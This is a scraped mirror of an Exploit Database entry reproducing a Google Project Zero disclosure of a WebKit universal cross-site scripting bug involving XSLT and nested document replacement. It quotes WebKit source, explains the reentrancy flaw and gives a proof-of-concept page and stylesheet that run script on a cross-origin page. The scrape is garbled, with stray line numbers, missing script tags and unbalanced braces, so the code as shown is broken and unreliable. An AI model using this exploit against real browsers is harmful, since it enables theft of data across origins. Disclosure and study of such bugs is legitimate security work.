WebKit – UXSS via XSLT and Nested Document Replacements

Exploit Database
113 阅读

作者： Google Security Research

日期： 2019-08-12
类别：
- dos
平台：
- multiple
来源：https://www.exploit-db.com/exploits/47237/

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

VULNERABILITY DETAILS

https://trac.webkit.org/browser/webkit/trunk/Source/WebCore/xml/XSLTProcessor.cpp#L66

</code><code>

Ref<Document> XSLTProcessor::createDocumentFromSource(const String& sourceString,

const String& sourceEncoding, const String& sourceMIMEType, Node* sourceNode, Frame* frame)

{

Ref<Document> ownerDocument(sourceNode->document());

bool sourceIsDocument = (sourceNode == &ownerDocument.get());

String documentSource = sourceString;

RefPtr<Document> result;

if (sourceMIMEType == "text/plain") {

result = XMLDocument::createXHTML(frame, sourceIsDocument ? ownerDocument->url() : URL());

transformTextStringToXHTMLDocumentString(documentSource);

} else

result = DOMImplementation::createDocument(sourceMIMEType, frame, sourceIsDocument ? ownerDocument->url() : URL());

// Before parsing, we need to save & detach the old document and get the new document

// in place. We have to do this only if we're rendering the result document.

if (frame) {

[...]

frame->setDocument(result.copyRef());

}

auto decoder = TextResourceDecoder::create(sourceMIMEType);

decoder->setEncoding(sourceEncoding.isEmpty() ? UTF8Encoding() : TextEncoding(sourceEncoding), TextResourceDecoder::EncodingFromXMLHeader);

result->setDecoder(WTFMove(decoder));

result->setContent(documentSource);

</code><code>

https://trac.webkit.org/browser/webkit/trunk/Source/WebCore/page/Frame.cpp#L248

</code><code>

void Frame::setDocument(RefPtr<Document>&& newDocument)

{

ASSERT(!newDocument || newDocument->frame() == this);

if (m_documentIsBeingReplaced) // ***1***

return;

m_documentIsBeingReplaced = true;

[...]

if (m_doc && m_doc->pageCacheState() != Document::InPageCache)

m_doc->prepareForDestruction(); // ***2***

m_doc = newDocument.copyRef();

</code><code>

setDocument</code> calls <code>Document::prepareForDestruction</code>, which might trigger JavaScript execution via

a nested frame's "unload" event handler. Therefore the <code>m_documentIsBeingReplaced</code> flag has been

introduced to avoid reentrant calls. The problem is that by the time <code>setDocument</code> is called,

newDocument</code> might already have a reference to a <code>Frame</code> object, and if the method returns early,

that reference will never get cleared by subsequent navigations. It's not possible to trigger

document replacement inside <code>setDocument</code> via a regular navigation request or a 'javascript:' URI

load; however, an attacker can use an XSLT transformation for that.

When the attacker has an extra document attached to a frame, they can navigate the frame to a

cross-origin page and issue a form submission request to a 'javascript:' URI using the extra

document to trigger UXSS.

VERSION

WebKit revision 245321.

It should affect the stable branch as well, but the test case crashes Safari 12.1.1 (14607.2.6.1.1).

REPRODUCION CASE

repro.html:

</code><code>

<body>

createFrame = doc => doc.body.appendChild(document.createElement('iframe'));

pi = document.createProcessingInstruction('xml-stylesheet',

'type="text/xml" href="https://www.exploit-db.com/exploits/47237/stylesheet.xml"');

cache_frame = createFrame(document);

cache_frame.contentDocument.appendChild(pi);

setTimeout(() => {

victim_frame = createFrame(document);

child_frame_1 = createFrame(victim_frame.contentDocument);

child_frame_1.contentWindow.onunload = () => {

victim_frame.src = 'javascript:""';

try {

victim_frame.contentDocument.appendChild(document.createElement('html')).

appendChild(document.createElement('body'));

} catch { }

child_frame_2 = createFrame(victim_frame.contentDocument);

child_frame_2.contentWindow.onunload = () => {

doc = victim_frame.contentDocument;

doc.write('foo');

doc.firstChild.remove();

doc.appendChild(pi);

doc.appendChild(doc.createElement('root'));

doc.close();

}

victim_frame.src = 'javascript:""';

if (child_frame_1.xslt_script_run) {

victim_frame.src = 'http://example.com/';

victim_frame.onload = () => {

form = corrupted_doc.createElement('form');

form.action = 'javascript:alert(document.body.innerHTML)';

form.submit();

}

}, 2000);

</script>

</body>

</code><code>

stylesheet.xml:

</code><code>

<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">

<xsl:template match="/">

<html>

<body>

<![CDATA[

document.body.lastChild.xslt_script_run = true;

]]>

</script>

</body>

</html>

</xsl:template>

</xsl:stylesheet>

</code><code>

CREDIT INFORMATION

Sergei Glazunov of Google Project Zero